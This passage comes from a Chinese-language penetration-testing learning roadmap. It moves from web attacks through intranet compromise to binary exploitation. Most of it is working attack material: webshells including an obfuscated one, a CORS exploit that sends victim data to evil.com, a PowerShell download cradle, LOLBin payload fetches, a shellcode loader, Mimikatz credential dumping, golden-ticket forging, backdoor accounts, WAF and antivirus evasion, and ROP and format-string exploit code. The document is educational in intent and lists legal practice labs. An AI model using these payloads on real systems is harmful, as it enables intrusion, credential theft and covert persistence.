meterpreter > getsystem            # 尝试提权

密码爆破工具

工具支持协议说明
HydraSSH,FTP,HTTP,RDP,MySQL在线密码爆破之王
Medusa类似Hydra多线程并行爆破
Hashcat哈希破解GPU加速离线哈希破解
John the Ripper哈希破解经典CPU哈希破解
# Hydra 爆破示例
hydra -l root -P passwords.txt ssh://192.168.1.100    # SSH 爆破
hydra -L users.txt -P pass.txt 192.168.1.100 rdp      # RDP 爆破
hydra -l admin -P pass.txt 192.168.1.100 http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:F=incorrect"   # Web表单爆破

# Hashcat 破解哈希
hashcat -m 0 hashes.txt wordlist.txt        # MD5
hashcat -m 1000 hashes.txt wordlist.txt      # NTLM
hashcat -m 1800 hashes.txt wordlist.txt      # SHA-512 (Linux shadow)

目录与子域名扫描

# 目录/文件扫描
dirsearch -u http://target.com -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://target.com -w wordlist.txt -x php,txt,bak

# 子域名扫描
sublist3r -d target.com
amass enum -d target.com
靶场练习平台
只学理论没用,必须动手!
以下靶场全部是合法练习环境,可以放心测试各种攻击技术。

本地靶场(Docker 部署)

DVWA
新手入门首选,SQL注入/XSS/CSRF/文件上传等,安全级别可调
Pikachu
中文靶场,覆盖 OWASP Top 10 全部漏洞类型
WebGoat
OWASP 官方靶场,带课程教学,边学边练
SQLi-Labs
SQL 注入专项训练,75 关从入门到精通
Vulhub
Docker 一键部署漏洞环境,涵盖各组件 CVE
Vulapps
类似 Vulhub,快速搭建漏洞环境
# 快速部署靶场
docker run -d -p 80:80 vulnerables/web-dvwa      # DVWA
docker run -d -p 80:80 acgpiano/sqli-labs       # SQLi-Labs

# Vulhub
git clone https://github.com/vulhub/vulhub.git
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d

在线练习平台

平台特点难度
Bugku CTF国内最大 CTF 练习平台之一⭐⭐
攻防世界赛宁平台,题目分类全⭐⭐⭐
CTFtime全球 CTF 赛事汇总+题库⭐⭐⭐⭐
HackTheBox全球最火靶机平台,模拟真实环境⭐⭐⭐⭐
TryHackMe引导式学习,适合零基础⭐⭐
PortSwigger Web AcademyBurp 官方免费 Web 安全实验室⭐⭐⭐
VulnHub下载靶机镜像本地练习⭐⭐⭐
OWASP Top 10 2021 对照

OWASP Top 10 是 Web 安全的官方权威风险排名,每年更新。以下是最新的 2021 版与学习路线的对应关系。

排名漏洞类别说明对应学习内容
A01访问控制失效越权访问、强制浏览、权限绕过逻辑漏洞 - 越权访问
A02加密失败明文传输、弱加密算法、密钥泄露HTTPS/SSL/TLS 配置
A03注入SQL注入、NoSQL注入、命令注入、LDAP注入①SQL注入 ⑥RCE
A04不安全设计缺少安全设计模式、业务逻辑缺陷逻辑漏洞
A05安全配置错误默认配置、目录列举、错误信息泄露服务器加固
A06易受攻击的组件使用了有漏洞的第三方库/框架反序列化、组件CVE
A07身份认证失败弱口令、会话固定、爆破密码爆破、会话管理
A08软件和数据完整性故障不安全反序列化、CI/CD 安全⑩反序列化漏洞
A09安全日志监控失效缺少日志、无告警、无溯源安全运维-日志审计
A10服务端请求伪造(SSRF)服务器发起非预期请求⑦SSRF 漏洞
XSS 去哪了?
XSS 在 2021 版被合并到了 A03 注入 和 A01 访问控制中,不再单独排名。但 XSS 仍然是 Web 安全的重要漏洞,必须熟练掌握。
SSTI 模板注入 & CORS 漏洞

SSTI 服务端模板注入

高危 当服务端使用模板引擎(Jinja2/Twig/Freemarker/Velocity)且未对用户输入过滤时,攻击者可注入模板指令实现 RCE。

模板引擎语言检测 PayloadRCE Payload
Jinja2Python(Flask){{7*7}}{{''.__class__.__mro__[1].__subclasses__()}}
TwigPHP(Symfony){{7*'7'}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
FreemarkerJava${7*7}<#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")}
VelocityJava$class.inspect#set($e="exp")#set($c=$e.class.forName("java.lang.Runtime"))...
# SSTI 检测流程
# 1. 输入 {{7*7}} → 返回 49 → Jinja2/Twig
# 2. 输入 ${7*7} → 返回 49 → Freemarker/Velocity
# 3. 输入 #{7*7} → 返回 49 → Ruby ERB

# Jinja2 RCE 完整链(Flask 最常见)
# 找到 os._wrap_close 或其他可执行命令的类
{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read()}}

# tplmap 自动化 SSTI 检测
python tplmap.py -u "http://target.com/?name=test"
python tplmap.py -u "http://target.com/" --data "name=test" --os-shell

CORS 跨域资源共享漏洞

中高危 当服务器配置 Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: true 时,任意网站可跨域读取受害者数据。

# 漏洞场景
# 服务端响应头:
Access-Control-Allow-Origin: https://evil.com    # 允许任意来源
Access-Control-Allow-Credentials: true          # 允许携带Cookie

# 攻击者在 evil.com 部署:
<script>
fetch("https://victim.com/api/profile", {credentials: "include"})
  .then(r=>r.json()).then(d=>{
    // 窃取受害者数据发送到攻击者服务器
    fetch("https://evil.com/collect?data="+JSON.stringify(d))
  });
</script>

Web 缓存欺骗

中危 利用缓存服务器和源站对 URL 路径解析不一致,将用户私有页面缓存到公共缓存中。

# 攻击示例
# 正常URL: https://bank.com/account.php → 私有内容(不缓存)
# 恶意URL: https://bank.com/account.php/test.css → 缓存服务器认为是静态资源(.css)进行缓存
#                          ↑ 源站忽略 /test.css 仍返回 account.php 内容
# 攻击者诱导受害者访问恶意URL,缓存被保存,攻击者再访问即可获取受害者数据
WAF 绕过技术大全

SQL 注入绕过技巧

技巧原理示例
大小写混写WAF 通常不区分大小写但匹配可能区分UnIoN SeLeCt
注释绕过利用各种注释符UN/**/ION SEL/**/ECT
编码绕过URL/Hex/Unicode 编码%55NION %53ELECT
内联注释MySQL /*!50000UNION*//*!50000UNION*//*!50000SELECT*/
等价函数用等价函数替代被过滤的updatexml→extractvalue, substr→mid
空格绕过用其他字符替代空格%09 %0a %0b %0c %0d /**/
关键字双写WAF 替换后还原UNUNIONIONUNION
分块传输Transfer-Encoding: chunked分块绕过内容匹配
HPPHTTP 参数污染?id=1&id=UNION SELECT 1,2,3
宽字节GBK 编码吃掉转义%df' → 吃掉 \

XSS 绕过 WAF 技巧

# 标签变异
<scr<script>ipt>alert(1)</scr<script>ipt>     # 嵌套绕过
<svg/onload=alert(1)>                         # 不用空格
<img src=x:alert(alt) onerror=eval(src)>      # 利用属性
<details/open/ontoggle=alert(1)>               # HTML5 标签
<body/onload=alert(1)>                        # body 标签

# 编码绕过
<script>eval(atob('YWxlcnQoMSk='))</script>    # Base64
<script>eval(String.fromCharCode(97,108,...))</script>  # 字符码
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>  # HTML 实体编码
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>       # Unicode 编码

# 长度限制绕过(利用外部加载)
<script src=//evil.com/x.js></script>          # 外部加载 payload
<svg><script href=//evil.com/x.js />           # SVG 加载

通用 WAF 绕过思路

  • 协议层:HTTP/2 协议差异、分块传输编码、Content-Type 切换、请求方法变换 (GET↔POST)
  • 应用层:编码组合、大小写混写、注释插入、等价替换、参数污染
  • 架构层:利用源站直连 IP、CDN 回源绕过、同网段内网直连、IP 轮换
  • 资源层:超大请求体耗尽 WAF 内存、超长 URL 截断、大量参数混淆
  • 时间层:延迟请求、分多次发送 payload
WebShell 管理工具

拿到 Web 漏洞后,通常需要上传 WebShell 来维持权限和进一步操作。以下是三大主流 WebShell 管理工具。

中国蚁剑 (AntSword)
开源跨平台,插件丰富,流量可加密。新手首选。支持 PHP/JSP/ASP
冰蝎 (Behinder)
流量加密传输,默认 AES 加密,免杀效果好。支持 Java 内存马
哥斯拉 (Godzilla)
新一代加密 WebShell 管理,支持多种加密方式,免杀能力最强

常见 WebShell 一句话

# PHP 一句话木马(经典)
<?php @eval($_POST['cmd']); ?>          # 最基础
<?php @assert($_POST['cmd']); ?>         # assert 版
<?php call_user_func('assert', $_POST['cmd']); ?>
<?php preg_replace_callback("/.*/e", 'assert', $_POST['cmd']); ?>

# 免杀变形
<?php
$f='base'.'64_de'.'code';
$f("ZXZhbCgkX1BPU1RbJ2NtZCddKQ==");  # base64(eval($_POST['cmd']))
?>

# JSP 一句话
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

# ASP 一句话
<%eval request("cmd")%>

WebShell 免杀技巧

  • 字符串拼接:拆分关键字绕过特征匹配
  • 动态调用:$a='assert';$a($_POST['x']);
  • 加密传输:蚁剑/冰蝎默认加密通信流量
  • 修改文件头:添加 GIF89a 伪装为图片
  • .htaccess:让图片文件当 PHP 执行
  • 内存马:不落地文件,驻留在进程内存中(Java Agent 内存马)
信息收集与资产测绘

渗透测试的第一步永远是信息收集。信息收集越充分,攻击面就越大。

信息收集维度

维度内容工具/方法
域名/子域名主域名、子域名、历史解析subfinder, amass, OneForAll, crt.sh
IP/端口CDN 真实 IP、开放端口masscan, nmap, fscan
指纹识别Web 框架、CMS、中间件whatweb, wappalyzer, httpx, Finger
目录/文件后台、配置文件、备份文件dirsearch, gobuster, ffuf
漏洞历史历史 CVE、已公开漏洞searchsploit, nuclei, FOFA
人员信息员工、邮箱、职务(社工/钓鱼)LinkedIn, GitHub, Hunter.io

FOFA / Shodan 资产测绘

# FOFA 搜索语法
title="后台" country=CN           # 标题包含"后台"的中国站点
body="Powered by WordPress"     # 页面包含特定字符串
header="JSESSIONID"              # 响应头包含
port="6379" && body="redis_version"  # 开放 Redis 的主机
app="Apache-Log4j"              # 特定应用
cert="target.com"                # SSL 证书包含域名

# Shodan 搜索语法
port:3389 country:"CN"           # 中国开放 RDP 的主机
product:"Apache" version:"2.4.49"  # 特定版本 Apache(可能有CVE)
org:"Microsoft"                  # 特定组织
vuln:CVE-2021-44228            # 存在 Log4j2 漏洞的主机

目录扫描进阶

# 常用字典
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/dirb/big.txt
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# dirsearch
dirsearch -u http://target.com -e php,txt,bak,zip -t 50
dirsearch -u http://target.com -w custom.txt --random-agent

# ffuf(高速 fuzzing)
ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,403
ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2

# vhost 爆破子域名
ffuf -u http://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -fs 423

# 常见敏感文件
# /.git/config .svn/entries .DS_Store web.config
# /backup.zip /www.zip /database.sql /config.php.bak
# /phpinfo.php /test.php /debug.php /server-status
# /robots.txt /sitemap.xml /crossdomain.xml
第二阶段实操检查点
3
内网渗透
Web 拿到权限后的核心延伸 · 预计 6-8 个月
内网渗透全流程
内网渗透五步曲
外网打点 → 进入内网 → 横向移动 → 权限维持 → 域控拿下。这是企业红蓝对抗的必考内容。

Windows 内网基础

概念说明
工作组 Workgroup对等网络,每台机器独立管理账户
域 Domain集中管理网络,所有认证由域控统一处理
域控制器 DC域的核心服务器,存储所有账户密码(NTLM 哈希)
活动目录 AD域的目录服务数据库,存储所有对象信息
GPO 组策略集中下发配置和安全策略,也可用于攻击
Kerberos域认证协议,票据攻击的核心

信息收集

# 本机基本信息
whoami /all                    # 当前用户完整信息
hostname                       # 主机名
ipconfig /all                  # 网络配置
systeminfo                     # 系统信息(补丁→提权依据)
net user                       # 本机用户列表
net localgroup administrators  # 本地管理员组成员
netstat -ano                    # 网络连接

# 域信息收集
net view /domain                # 查看所有域
net group /domain               # 域内所有组
net group "domain admins" /domain  # 域管理员列表(重要目标!)
net group "domain controllers" /domain  # 域控列表
nltest /dclist:domain           # 获取域控地址

# 存活主机探测
arp -a                          # ARP 表(同网段存活主机)
nmap -sn 10.0.0.0/24            # Ping 扫描内网
fscan -h 10.0.0.0/24            # 国产内网综合扫描工具

权限提升

方式原理工具/方法
系统漏洞提权利用未打补丁的内核漏洞MS16-032, MS17-010, CVE-2020-0787
服务配置提权服务路径未引用+可写PowerUp, BeRoot
注册表提权AlwaysInstallElevated=1msiexec 安装恶意 msi
令牌窃取窃取高权限进程令牌incognito, steal_token
Potato 系列NTLM 中继提权RottenPotato, JuicyPotato, PrintSpoofer
UAC 绕过绕过用户账户控制UACME, fodhelper
# 提权辅助
systeminfo > sysinfo.txt
# 上传到 https://i.hacking8.com/ms1799 对比补丁
python wes.py sysinfo.txt        # Windows Exploit Suggester

# PowerUp 自动化提权检查
Import-Module PowerUp.ps1
Invoke-AllChecks

凭证抓取

# Mimikatz(神器)
mimikatz # privilege::debug        # 提升调试权限
mimikatz # sekurlsa::logonpasswords  # 抓取密码/哈希(最常用)
mimikatz # lsadump::sam              # 导出 SAM 哈希
mimikatz # lsadump::dcsync /user:krbtgt  # DCSync 导出 krbtgt 哈希
mimikatz # kerberos::ptt ticket.kirbi # 注入票据

# lsass 进程 dump
procdump -accepteula -ma lsass.exe lsass.dmp
# 然后用 Mimikatz 离线读取
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

横向移动

方式协议/端口说明
永恒之蓝SMB/445MS17-010,最经典的横向移动方式
PsExecSMB/445需管理员哈希/密码,远程执行命令
WMIDCOM/135Windows 管理规范远程执行
PTH 哈希传递SMB/445用 NTLM 哈希直接认证,不需要明文密码
RDPRDP/3389远程桌面直接登录
计划任务SMB/445at/schtasks 远程创建计划任务
# PsExec 横向移动
psexec.exe \\10.0.0.5 -u administrator -p password cmd.exe
psexec.exe \\10.0.0.5 -u administrator -H aad3b... cmd.exe  # PTH

# WMI 横向移动
wmic /node:10.0.0.5 /user:admin /password:pass process call create "cmd.exe /c whoami"

# Metasploit 横向
msf6 > use exploit/windows/smb/psexec
msf6 > set SMBUser administrator
msf6 > set SMBPass password  # 或哈希
msf6 > exploit

域渗透:黄金票据与白银票据

黄金票据 vs 白银票据
拿下域控后可伪造票据实现持久化。黄金票据:用 krbtgt 哈希伪造 TGT,可访问域内所有服务。白银票据:用服务账户哈希伪造 TGS,只能访问特定服务,但更隐蔽。
# 黄金票据攻击流程
# 1. 获取 krbtgt 哈希(需要域控权限)
mimikatz # lsadump::dcsync /user:krbtgt

# 2. 伪造黄金票据
mimikatz # kerberos::golden /user:Administrator /domain:corp.com \
  /sid:S-1-5-21-xxx /krbtgt:ntlm_hash /ticket:golden.kirbi

# 3. 注入票据
mimikatz # kerberos::ptt golden.kirbi

# 4. 访问域内任意服务
dir \\dc.corp.com\c$

# BloodHound 域分析(可视化攻击路径)
SharpHound.exe -c All        # 收集域信息
# 导入 BloodHound 可视化分析最短攻击路径

权限维持

方式说明
后门账号创建隐藏用户 net user hacker$ pass /add
注册表后门Run 键自启动、Image File Execution Options 劫持
服务后门创建恶意服务 sc create backdoor binpath=...
WMI 持久化WMI 事件订阅,无文件后门
计划任务定时执行恶意脚本
黄金票据域级别持久化,改密码也不掉
WebShell留下 Web 后门文件

内网工具汇总

Mimikatz
凭证抓取神器,密码/哈希/票据一键获取
Cobalt Strike (CS)
商业远控平台,团队协同渗透,红队标配
Empire
PowerShell 后渗透框架,免杀效果好
BloodHound
域分析工具,可视化攻击路径
SharpTools
C# 编写的内网渗透工具集合
fscan
国产内网综合扫描(存活+端口+漏洞)
frp/nps
内网穿透/代理转发工具
ligolo
新型内网代理工具,反向隧道
Kerberos 认证流程与票据攻击

Kerberos 认证四步流程

Kerberos 认证流程(域环境核心协议)

Step 1: AS-REQ (客户端 → KDC/DC)
  客户端用密码哈希加密预认证数据,向 KDC 请求 TGT 票据
  
Step 2: AS-REP (KDC → 客户端)
  KDC 验证密码哈希,返回 TGT(用 krbtgt 账户哈希加密)
  
Step 3: TGS-REQ (客户端 → KDC)
  客户端拿着 TGT 请求访问某服务的 TGS 票据
  
Step 4: TGS-REP (KDC → 客户端)
  KDC 返回 TGS(用服务账户哈希加密)
  
Step 5: AP-REQ (客户端 → 服务端)
  客户端用 TGS 票据访问目标服务

基于 Kerberos 的攻击手法

攻击方式攻击阶段原理工具
AS-REP RoastingAS-REP对关闭了预认证的用户,直接获取 AS-REP 中的加密数据离线爆破密码Rubeus, impacket
KerberoastingTGS-REP请求服务账户的 TGS 票据,离线爆破服务账户密码Rubeus, impacket
黄金票据伪造 TGT用 krbtgt 哈希伪造 TGT,可访问域内所有服务mimikatz
白银票据伪造 TGS用服务账户哈希伪造 TGS,只访问特定服务,更隐蔽mimikatz
委派攻击委派配置非约束委派/约束委派/基于资源的约束委派kekeo, Rubeus
S4U2Self/S4U2Proxy协议滥用利用约束委派协议代替其他用户访问服务impacket
# AS-REP Roasting(不需要任何权限)
# 找关闭预认证的用户
python GetNPUsers.py corp.com/ -no-pass -usersfile users.txt

# Rubeus 版
Rubeus.exe asreproasting /format:hashcat /outfile:hashes.txt
hashcat -m 18200 hashes.txt wordlist.txt   # 破解 AS-REP 哈希

# Kerberoasting(需要普通域用户权限)span>
python GetUserSPNs.py corp.com/user:pass -request
Rubeus.exe kerberoast /outfile:hashes.txt
hashcat -m 13100 hashes.txt wordlist.txt   # 破解 TGS 哈希

# 委派攻击检测
python findDelegation.py corp.com/user:pass
# 找到非约束委派 → 获取机器账户权限 → 等待高权限用户访问 → 窃取票据

域渗透攻击链完整流程

# 1. 初始立足点(通过 Web 漏洞或钓鱼)
#    → 获取 WebShell 或反弹 Shell

# 2. 本机信息收集
whoami /all                    # 查看当前用户、权限、SID
systeminfo                     # 补丁情况
net user /domain               # 域用户列表

# 3. 域信息收集
net group "domain admins" /domain    # 找域管目标
nltest /dclist:corp.com               # 找域控
SharpHound.exe -c All                 # BloodHound 收集域信息

# 4. 提权
#    → 漏洞提权(MS16-032等)→ 获取 SYSTEM 权限

# 5. 凭证抓取
mimikatz # sekurlsa::logonpasswords   # 抓明文密码和NTLM哈希
mimikatz # lsadump::sam              # SAM 哈希

# 6. 横向移动
#    → PTH 横向 → PsExec/WMI 远程执行 → 获取更多机器权限

# 7. 获取域控
#    → 拿到域管凭证 → DCSync → 导出所有域用户哈希
mimikatz # lsadump::dcsync /domain:corp.com /all

# 8. 权限维持
mimikatz # kerberos::golden /user:Administrator /domain:corp.com \
  /sid:S-1-5-21-xxx /krbtgt:hash /ticket:golden.kirbi  # 黄金票据
免杀技术与反检测

免杀基本原理

检测方式原理绕过方法
静态查杀文件特征码匹配加密/编码/混淆/加壳/分离免杀
动态查杀行为监控/沙箱检测延迟执行/反沙箱/反调试/白名单利用
内存查杀扫描进程内存特征内存加载/反射式注入/进程注入
流量查杀网络通信特征检测加密通信/流量伪装/域前置

常见免杀技术

# 1. PowerShell 内存加载(不落地文件)
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"

# 2. C# 编译为内存加载
# 用 Cobalt Strike 的 execute-assembly 加载 C# 程序
execute-assembly SharpHound.exe -c All

# 3. Shellcode 加载器
# C# 版本
byte[] shellcode = new byte[] { 0xfc, 0x48, 0x83, 0xe4, ... };
IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

# 4. 白名单利用(LOLBins)
# 利用系统签名的合法程序执行恶意代码
mshta http://evil.com/payload.hta          # mshta 加载 HTA
rundll32 shell32.dll,Control_RunDLL         # rundll32 加载 DLL
regsvr32 /u /s /i:http://evil.com/sct.sct scrobj.dll  # regsvr32 加载 Scriptlet
certutil -urlcache -split -f http://evil.com/payload.exe C:\Windows\Temp\sv.exe

# 5. 加壳与混淆
# Veil Framework — 生成免杀 payload
veil use python/meterpreter/rev_tcp
# Shellter — 注入式免杀
shellter --input legit.exe --payload msf --handler rev_tcp

Cobalt Strike 核心操作

# CS 基本概念
# Beacon    — 植入受害机的代理(支持 HTTP/HTTPS/SMB/TCP)
# Listener  — 监听器(接收 Beacon 回连)
# Malleable C2 — 可定制 C2 流量特征

# 常用命令
beacon> help                       # 帮助
beacon> shell whoami              # 执行系统命令
beacon> execute-assembly Rubeus.exe asreproasting  # 加载 C# 工具
beacon> runasadmin                # 提权
beacon> hashdump                  # 导出哈希
beacon> portscan 10.0.0.0/24      # 内网端口扫描
beacon> socks 1080                # 开启 SOCKS 代理
beacon> jump psexec 10.0.0.5        # 横向移动
beacon> spawn to winrm             # 派生新 Beacon
代理穿透与内网隧道

代理类型

类型方向场景工具
正向代理攻击者 → 目标目标可被直连,目标开放端口nc, frp
反向代理目标 → 攻击者目标出网但不可直连(最常用)frp, nps, ligolo
多级代理多跳转发深层内网,需要层层穿透frp 级联, SOCKS 链

frp 内网穿透

# frps.ini (攻击者 VPS 端配置)
[common]
bind_port = 7000
# 可选:dashboard
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = password

# frpc.ini (目标机器端配置)
[common]
server_addr = "VPS_IP"
server_port = 7000

# SOCKS5 代理(穿透整个内网)
[socks5_proxy]
type = tcp
remote_port = 1080
plugin = socks5

# 端口映射(映射特定端口)
[ssh_mapping]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

其他隧道工具

# nps — 轻量内网穿透
./nps install                    # VPS 端安装
# Web 管理面板默认端口 8080
./npc -server=VPS_IP:8024 -vkey=xxx  # 目标端连接

# ligolo — 新型反向隧道(推荐)
# VPS 端
ligolo_proxy -selfcert
# 目标端
ligolo_agent -connect VPS_IP:11601 -ignore-cert

# SSH 隧道(利用已有 SSH 权限)
# 本地转发:将远程端口映射到本地
ssh -L 8080:内网目标:80 user@跳板机
# 动态转发:SOCKS 代理
ssh -D 1080 user@跳板机
# 远程转发:反向连接
ssh -R 1080 user@攻击者IP

# ICMP/DNS 隧道(极端情况出网限制)
dnscat2                         # DNS 隧道
icmp-tunnel                     # ICMP 隧道
Windows 权限体系详解

Windows 权限模型

概念说明
SID安全标识符,每个用户/组/计算机/服务都有唯一 SID
Access Token进程的"身份证",包含用户 SID、组 SID、特权列表
ACL访问控制列表,定义谁可以访问什么资源
Integrity Level完整性级别:Low → Medium → High → System
UAC用户账户控制,限制 High 级别需要确认

关键特权(Token Privileges)

特权名作用提权利用
SeDebugPrivilege调试任意进程注入 SYSTEM 进程窃取令牌
SeImpersonatePrivilege模拟客户端身份Potato 系列提权
SeAssignPrimaryTokenPrivilege分配进程令牌配合 SeImpersonate 提权
SeBackupPrivilege备份文件(绕过 ACL)读取 SAM/SYSTEM 注册表
SeRestorePrivilege恢复文件(绕过 ACL)写入任意目录
SeTakeOwnershipPrivilege获取对象所有权获取任意文件所有权
SeLoadDriverPrivilege加载驱动加载恶意内核驱动
SeTcbPrivilege作为操作系统的一部分最高特权之一

令牌窃取提权

# Meterpreter 令牌窃取
meterpreter> getuid                  # 查看当前权限
meterpreter> getprivs                # 查看当前特权
meterpreter> ps                      # 列出进程
# 找到 SYSTEM 进程(如 wininit.exe)
meterpreter> steal_token <PID>     # 窃取令牌
meterpreter> getuid               # 现在是 SYSTEM

# incognito 令牌操作
incognito> list_tokens -u           # 列出可用令牌
incognito> impersonate_user DOMAIN\\Administrator
第三阶段实操检查点
4
逆向工程与二进制安全
高阶方向 · 挖 0day / 恶意代码分析 · 预计 9-12 个月
逆向工程核心知识

汇编语言基础

寄存器 (x86)用途
EAX/RAX累加器,函数返回值
EBX/RBX基址寄存器
ECX/RCX计数器,循环/字符串操作
EDX/RDX数据寄存器
ESI/EDI源/目标索引,字符串操作
EBP/RBP基址指针,标记栈帧
ESP/RSP栈指针,指向栈顶
EIP/RIP指令指针,下一条要执行的指令地址(控制流劫持目标)
; 常见汇编指令
mov  eax, 1        ; eax = 1
push ebp           ; 把 ebp 压入栈
pop  eax           ; 从栈顶弹出到 eax
call function      ; 调用函数
ret                ; 返回
cmp  eax, 0        ; 比较
jz   label         ; 零则跳转
nop                ; 空操作
lea  eax, [ebx+4]  ; 加载有效地址

堆栈结构

栈内存布局(高地址在上,低地址在下)
┌──────────────────┐ ← 高地址
│   函数参数        │
├──────────────────┤
│   返回地址 (EIP)  │ ← 缓冲区溢出覆盖目标!
├──────────────────┤
│   保存的 EBP      │
├──────────────────┤ ← EBP 指向这里
│   局部变量/缓冲区  │ ← 溢出起点
├──────────────────┤ ← ESP 指向这里(低地址)

PE 文件结构 (Windows)

结构说明
DOS HeaderMZ 头,最开头的 64 字节
PE HeaderPE 文件标识和基本信息
Section Table节表,描述各节属性
.text代码段(可执行)
.data已初始化数据
.rdata只读数据(字符串常量)
.rsrc资源段(图标/对话框)
.import导入表(调用的外部函数)
.export导出表(DLL 提供的函数)

调试工具

IDA Pro
逆向之王,反汇编+反编译,支持所有架构。业界标准
x64dbg
Windows 64 位动态调试器,开源免费,OD 的继任者
OllyDbg (OD)
经典 32 位调试器,教程多但已过时
GDB
Linux 命令行调试器,配合 pwndbg/gef 插件
Ghidra
NSA 开源逆向工具,免费替代 IDA
Radare2
开源逆向框架,命令行操作

脱壳技术

壳类型难度脱壳方法
UPXupx -d file.exe 一键脱壳
ASPack⭐⭐ESP 定律法/内存转储
VMProtect (VMP)⭐⭐⭐⭐⭐虚拟化壳,极难脱壳
Enigma Protector⭐⭐⭐⭐需分析反调试+内存转储
Themida⭐⭐⭐⭐⭐商业级壳,多层保护
# 脱壳基本思路
# 1. 寻找 OEP (Original Entry Point) — 原始入口点
# 2. 在 OEP 处 dump 内存
# 3. 修复 IAT (Import Address Table)

# 常用工具
# PEiD — 查壳类型
# DIE (Detect It Easy) — 高级查壳工具
# Scylla — IAT 修复工具

恶意样本分析

分析类型方法工具
静态分析不运行样本,分析文件结构/字符串/APIIDA, strings, PEview, DIE
动态分析在沙箱中运行样本观察行为Sandboxie, Cuckoo, Process Monitor
行为分析监控文件/注册表/网络变化ProcMon, RegShot, Wireshark
内存分析分析进程内存中的数据Volatility, Rekall

缓冲区溢出漏洞

// 经典栈溢出漏洞代码 (C)
void vulnerable(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // 无长度检查!可溢出覆盖返回地址
}

// 攻击 payload 结构:
// [填充字节64个] + [保存的EBP4个] + [覆盖返回地址] + [shellcode]
//                                ↑ 控制执行流跳转到 shellcode
现代防护机制
现代编译器和操作系统引入了 ASLR(地址随机化)、DEP/NX(数据执行保护)、Stack Canary(栈溢出检测)、CFG(控制流防护)等机制,绕过这些防护是二进制安全的高级课题。
ELF 文件结构与 Linux 漏洞利用

ELF 文件结构 (Linux)

结构说明
ELF Header文件标识 \x7fELF、架构、入口地址
Program Header描述段(Segment)信息,用于加载器映射内存
Section Header描述节(Section)信息,用于链接和调试
.text代码段(可执行)
.rodata只读数据(字符串常量)
.data已初始化全局变量
.bss未初始化全局变量
.got / .got.plt全局偏移表(GOT 劫持目标)
.plt过程链接表(延迟绑定)

GDB + pwndbg 常用命令

# 启动
gdb ./binary                # 加载程序
gdb -q ./binary             # 安静模式

# 断点
b main                       # 在 main 设断点
b *0x401234                   # 在地址设断点
b vuln_func                   # 在函数设断点
delete 1                      # 删除断点1
info breakpoints              # 查看断点

# 运行与控制
r                            # 运行程序
r < input.txt                # 从文件输入(测试payload)
n                            # 单步(不进入函数)
s                            # 单步(进入函数)
c                            # 继续运行
finish                       # 运行到函数返回

# 查看
x/20x $esp                   # 查看栈 20 个 16 进制
x/20x $eip                   # 查看指令
x/s 0x404010                 # 查看字符串
info registers               # 查看寄存器
stack 30                     # pwndbg 查看栈
vmmap                        # 查看内存映射

# 高级
checksec                     # 查看保护机制
cyclic 100                   # 生成 pattern
cyclic -l 0x6261             # 找偏移量
ropper --file ./binary       # 查找 ROP gadget
one_gadget ./binary          # 查找 one_gadget

pwntools 使用

from pwn import *

# 连接
p = process("./vuln")             # 本地
p = remote("target.com", 9999)    # 远程

# 发送与接收
p.sendline(b"hello")            # 发送一行
p.send(b"payload")               # 发送原始数据
p.recvuntil(b"Enter: ")       # 接收直到匹配
p.recvline()                  # 接收一行
p.interactive()               # 交互模式(获取 Shell)

# 溢出利用
payload = b"A" * 44             # 填充到返回地址
payload += p32(0x08048520)     # 覆盖返回地址为后门函数
p.sendline(payload)

# 构造 ROP 链
from pwn import *
elf = ELF("./vuln")
rop = ROP(elf)
bin_sh = next(elf.search(b"/bin/sh"))
system = elf.plt["system"]
rop.system(bin_sh)
payload = fit({44: rop.chain()})
p.sendline(payload)

# 格式化字符串漏洞
p.sendline(b"%p." * 10)        # 泄露栈数据
p.sendline(b"%7$s".encode() + p32(elf.got["puts"]))  # 任意读
p.sendline(b"%7$n".encode() + p32(target_addr))  # 任意写
高级漏洞利用技术

ROP 链技术 (Return-Oriented Programming)

当 DEP/NX 开启后,栈上的 shellcode 无法执行。ROP 通过拼接程序中已存在的代码片段(gadget)实现任意功能。

# ROP 基本原理
# gadget = 以 ret 结尾的一小段指令
# 例如:pop eax; ret → 将栈顶值弹入 eax

# 构造 execve("/bin/sh", 0, 0) 的 ROP 链
payload  = b"A" * 44                    # 填充
payload += p32(pop_eax_ret)          # gadget: pop eax; ret
payload += p32(0xb)                  # eax = 11 (execve syscall)
payload += p32(pop_ebx_ret)          # gadget: pop ebx; ret
payload += p32(bin_sh_addr)          # ebx = "/bin/sh" 地址
payload += p32(pop_ecx_ret)          # gadget: pop ecx; ret
payload += p32(0)                    # ecx = 0
payload += p32(pop_edx_ret)          # gadget: pop edx; ret
payload += p32(0)                    # edx = 0
payload += p32(int_0x80)             # int 0x80 → 触发 syscall

格式化字符串漏洞

// 漏洞代码
printf(input);  // 用户输入直接作为格式化字符串

# 信息泄露
# %p 泄露栈数据,%x 泄露十六进制
input = "%p." * 20   # 泄露栈上 20 个值
input = "%7$s" + p32(target_addr)  # 读任意地址

# 任意写
# %n 将已输出字节数写入参数指向的地址
input = "AAAA%7$n" + p32(target_addr)  # 写 4 到 target_addr
# %hhn 写单字节,%hn 写双字节

